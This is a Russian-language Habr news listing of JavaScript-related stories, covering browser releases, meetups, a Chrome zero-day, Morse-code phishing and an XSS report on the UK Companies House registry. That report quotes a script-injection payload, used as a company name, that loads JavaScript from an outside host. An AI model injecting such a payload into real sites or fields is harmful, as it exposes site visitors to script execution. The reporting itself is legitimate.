Все потоки
Поиск
Написать публикацию
Обновить
220.56

JavaScript *

Прототипно-ориентированный язык программирования

Сначала показывать
Порог рейтинга

Консорциум Всемирной паутины принял стандарт Web Audio в качестве официального

Время на прочтение1 мин
Количество просмотров4K
17 июня консорциум Всемирной паутины, World Wide Web Consortium (W3C) объявил о том, что Web Audio API стал официальным стандартом.

Web Audio API – это программный интерфейс для JavaScript, позволяющий создавать, редактировать и манипулировать звуками прямо в браузере. Он уже набрал достаточную популярность, и используется для эмуляции музыкальных инструментов, веб-игр, совместного творчества и прочего.

Поскольку Web Audio API концентрируется не на простом воспроизведении звука, а на его создании, он включает набор модулей, которые разработчики могут комбинировать, создавая различные онлайн-приложения. Это может быть аудио отклик пользовательских интерфейсов, музыкальные инструменты, звуковая дорожка и эффекты для развлечения и игр, обучающие программы, пространственное аудио для дополненной и виртуальной реальностей, онлайн-редакторы звуков, сжатие и изменение громкости для прослушивания музыки в автомобиле, анализ и визуализация звуков.
Читать дальше →

X5 frontend meetup

Время на прочтение2 мин
Количество просмотров1.3K

1 июля в 19:00 приглашаем на офлайн-митап про фронтенд-разработку от Х5 Group. Обещаем много реального опыта и обсуждения злободневных вопросов от крутых экспертов из Х5 Group, Mish.Design, Tinkoff и Evil Martians.

Регистрация

Читать далее

Chrome 91 рендерит страницы на 23% быстрее. Спасибо третьему компилятору

Время на прочтение3 мин
Количество просмотров10K
// The Sparkplug compiler (abridged).
for (; !iterator.done(); iterator.Advance()) {
  VisitSingleBytecode();
}
Новый неоптимизирующий JavaScript-компилятор Sparkplug напрямую компилирует JavaScript в машинный код, без всяких промежуточных представлений, за однострочный проход. Это одна из оптимизаций в движке V8

Участники опенсорсного проекта Chromium из компании Google только что выкатили новую версию браузера Chrome 91 на стабильном канале. Как обычно, в новой версии сделано много изменений. Например, десктопный режим на больших мобильных экранах включается по умолчанию, улучшен дизайн веб-форм (поля, чекбоксы, кнопки), улучшены интерфейсы File System Access API, сделано автоматическое открытие PWA по ссылкам на веб-сайтах через манифест capture_links, реализована экспериментальная поддержка продвинутого медиапротокола WebTransport (вместо более медленного WebSocket) и многое другое. Кроме этих мелких, есть и очень серьёзное изменение, которое коснётся каждого.

Конечно, это изменение ожидаемо, если следить за документацией на бета- и альфа-каналах. Но остальные люди сегодня могут с удивлением обнаружить, что после обновления Chrome стал рендерить страницы гораздо быстрее.
Читать дальше →

Автор Doom Captcha предлагает отсеивать ботов фрагментом видеоигры

Время на прочтение2 мин
Количество просмотров10K


Испанский разработчик Микель Кэмпс Ортеза (Miquel Camps Orteza) представил каптчу в виде элемента игры в Doom. 23 мая этот проект стал самой популярной продуктовой идеей на площадке Product Hunt. Автор дум-каптчи распостраняет ее бесплатно. Исходный код проекта доступен в репозитории разработчика на github.io.
Читать дальше →

Deno можно обновить до версии 1.10

Время на прочтение6 мин
Количество просмотров2.6K

Вчера, 11.05.2021, создатели Deno (среды выполнения для JavaScript) объявили о выходе новой версии Deno 1.10. Анонсированы новые функции, улучшение производительности и исправление ряда ошибок.

Главные изменения:

Читать далее

От дизайна до разработки: как делать качественные смартапы для виртуальных ассистентов Салют

Время на прочтение2 мин
Количество просмотров1.3K


Уже завтра, 28 апреля, в 18:00 начнётся Третий онлайн-митап разработчиков SmartMarket. Мы подготовили насыщенную программу и приглашаем вас провести этот вечер с нами. 

Для начала поговорим о UX – как делать не только красиво, но и удобно для пользователя. Взаимодействие с мультимодальными смартапами (навыки, в которых задействуется и голос, и текст, и тач, и даже жесты) может быть не только увлекательным, но и порой сложным. Поговорим о том, что нужно делать на каждом экране – когда лучше говорить, а когда писать или использовать пульт – чтобы довести пользователя до цели и закрыть его потребность. Алина Ермакова, UX Research Lead SberDevices, расскажет о UX-принципах, которые мы для себя сформулировали в ходе многочисленных исследований и во время разработки навыков для наших виртуальных ассистентов Салют.
Читать дальше →

Frontend Meetup 20/04: видео и материалы встречи

Время на прочтение2 мин
Количество просмотров2K

Вместе со спикерами из Devexperts, Почты России, Леруа Мерлен и Райффайзенбанка узнали об опыте разработки продуктов: как найти подход к Blazor, использовать плагин Figma для работы с white label, разрабатывать картографический раздел отделений и внедрять микрофронтенды.

Смотреть митап в записи

Читать далее

Уязвимость нулевого дня Google Chrome и Microsoft Edge опубликовали в Twitter

Время на прочтение1 мин
Количество просмотров12K

Исследователь безопасности Раджвардхан Агарвал обнаружил уязвимость нулевого дня для удаленного выполнения кода, которая работает в текущих версиях Google Chrome и Microsoft Edge.

Читать далее

Трой Хант разместил на доменах Coinhive предупреждения о взломанных сайтах

Время на прочтение2 мин
Количество просмотров2.8K

После захвата доменов службы майнинга Monero Трой Хант из Have I Been Pwned получил право размещать на coinhive.com и других связанных доменах Coinhive предупреждения о том, что они были взломаны. Coinhive была платформой для майнинга криптовалюты в браузере, которая позволяла веб-сайтам внедрять код JavaScript в веб-сайты для добычи Monero.

Читать далее

Обладательница фамилии True полгода не может воспользоваться своим аккаунтом в Apple iCloud

Время на прочтение2 мин
Количество просмотров74K


В конце февраля 2021 года девушка по имени Рэйчел Тру (Rachel True) пожаловалась в Twitter, что уже полгода не может воспользоваться своим аккаунтом в Apple iCloud. Облачная система одной из самых прогрессивных компаний в мире просто выкидывает пользователя при попытке подключиться к iCloud, выдавая ошибку с сообщением «Type error: cannot set value ‘true’ to property ‘lastName‘» (невозможно установить значение true для фамилии). Фактически девушка попала в ловушку, связанную с нестрогой типизацией и не совсем корректной проверкой типов данных в пользовательском вводе, при котором код по каким-то причинам преобразовывает фамилию в логическое значение «истина», которое противоречит ожидаемому типу string для «lastName».

Рэйчел пояснила, что связывалась множество раз с технической поддержкой Apple, но специалисты компании никак не могли ей помочь в данной ситуации. Примечательно, что Apple ежемесячно снимает с ее банковской карточки оплату за выбранный ранее тариф в iCloud, а сама учетная запись пользователя не заблокирована.
Читать дальше →

Аккредитация разработчиков навыков для ассистентов Салют и первый аккредитованный партнёр

Время на прочтение3 мин
Количество просмотров1.1K


Недавно мы запустили программу аккредитации разработчиков, создающих смартапы (навыки) для семейства виртуальных ассистентов Салют на платформе SmartMarket. Рассказываем, кому это будет полезно, как пройти аккредитацию и кто уже стал нашим первым аккредитованным партнёром.

Итак, допустим, вы – опытный разработчик, создали уже не один навык для голосовых помощников и хотели бы развиваться профессионально, пробовать что-то новое. Например, создавать такие навыки, в которых с ассистентом можно взаимодействовать сразу и голосом, и текстом, и тачем, и жестами. Или вы только смотрите в сторону разработки для виртуальных помощников и хотели бы создавать приложения на коммерческой основе. Статус аккредитованного партнёра поможет вам проще находить заказчиков на разработку (точнее, они сами вас будут находить на наших ресурсах, а также мы будем рекомендовать им вас).

Или вы – бизнес. У вас есть желание расширить свою платежеспособную аудиторию и быть ближе к вашему пользователю, но не хватает разработческих знаний или времени, чтобы самостоятельно создавать сложные приложения. Здесь на помощь придут наши опытные аккредитованные партнёры, которых мы тщательно отбираем, и помогут качественно решить вашу задачу. Ваш продукт будет достойно представлен на умных устройствах и в мобильных приложениях Сбера. Кстати, потенциальная аудитория нашей экосистемы, до которой можно дотянуться, превышает 100 млн человек.
Читать дальше →

Яндекс.Практикум запустил курс «React-разработчик»

Время на прочтение2 мин
Количество просмотров8.2K
Сервис онлайн-образования Яндекс.Практикум запустил курс «React-разработчик» — двухмесячный интенсив для погружения в экосистему React, работы с популярными технологиями и изучения их альтернатив. Курс подойдёт тем, кто уже умеет верстать и знает основы JavaScript.

Выпускники получат сертификат — официальный документ о дополнительном образовании.


Читать дальше →

Новая фишинговая атака использует азбуку Морзе для сокрытия вредоносных URL-адресов

Время на прочтение3 мин
Количество просмотров6.1K


По информации Bleeping Computer, злоумышленники начали в сети Интернет необычную целенаправленную фишинговую кампанию. Атака включает в себя новую технику обфускации, заключающуюся в использовании кода Морзе для сокрытия вредоносных URL-адресов во вложениях электронной почты, чтобы обойти системы безопасности почтовых шлюзов и почтовых фильтров.
Читать дальше →

Ближайшие события

Как создавать навыки для виртуальных ассистентов Салют, выйти на многомиллионную аудиторию Сбера и выиграть 2,5 млн руб?

Время на прочтение1 мин
Количество просмотров2.6K


За ответами на эти вопросы приглашаем на Второй онлайн-митап разработчиков SmartMarket 11 февраля в 18:00.

Там мы рассмотрим возможности платформы с разных сторон:

  • поговорим, из чего в принципе состоит хорошее мультимодальное приложение для виртуальных ассистентов Салют, какие бесплатные инструменты для его создания есть в SmartMarket.

Читать дальше →

Вышла версия 1.0 библиотеки для управления секс-игрушками Buttplug

Время на прочтение1 мин
Количество просмотров26K

После 3,5 лет разработки компания Nonpolynomial обновила открытую библиотеку для секс-игрушек до версии 1.0. Библиотека управляет вибрацией с клавиатур, геймпадов и шлемов виртуальной реальности, а также синхронизирует импульсы с фильмами через плагины для VLC и Kodi.

Читать далее

Cloudflare представила сервис Pages для статических сайтов JAMstack

Время на прочтение2 мин
Количество просмотров5.6K


Компания Cloudflare анонсировала продукт Cloudflare Pages. Сервис помогает разработчикам создавать сайты с использованием подхода JAMstack.
Читать дальше →

Fwdays'20: Node.js Middleware – никогда больше

Время на прочтение1 мин
Количество просмотров4.6K
В конце сентября в онлайне прошла конференция JavaScript Fwdays'20 Autumn, на которой я сделал доклад про проблемы мидлваров. После доклада меня почти каждый день просят ссылку на видео. И вот, наконец, его выложили в открытый доступ. Доклад чуть больше часа.

Читать дальше →

Google Chrome начнет блокировать JavaScript-редирект по кликам на ссылки

Время на прочтение1 мин
Количество просмотров14K
image

В Google Chrome появится новая функция безопасности при переходе по ссылкам, которые открывают URL-адреса в новом окне или вкладке. Она будет блокировать попытки использовать JavaScript для перенаправления пользователя на вредоносную страницу.
Читать дальше →

В британском реестре компаний обнаружили XSS

Время на прочтение2 мин
Количество просмотров4K

Выпуск комикса XKCD 327 «Мамины эксплойты» в переводе xkcd.ru

20 октября некто Джим Уокер поделился на форуме разработчиков британского государственного реестра компаний Companies House интересным наблюдением. Companies House допускает в именах компаний символы < и >. Это открывает простор для атак на тех сайтах, которые не фильтруют и не экранируют управляющие символы корректным образом. Если сайт отображает название компании и не санитизирует данные, то он потенциально уязвим к XSS-атаке.

Уокер обнаружил, что 16 октября некий Майкл Джон Тэнди зарегистрировал компанию с названием "><SCRIPT SRC=HTTPS://MJT.XSS.HT></SCRIPT> LTD. Если XSS-фильтра нет, то такое имя компании внедряет на веб-страницу код, который вызывает внешний JavaScript.
Читать дальше →

Вклад авторов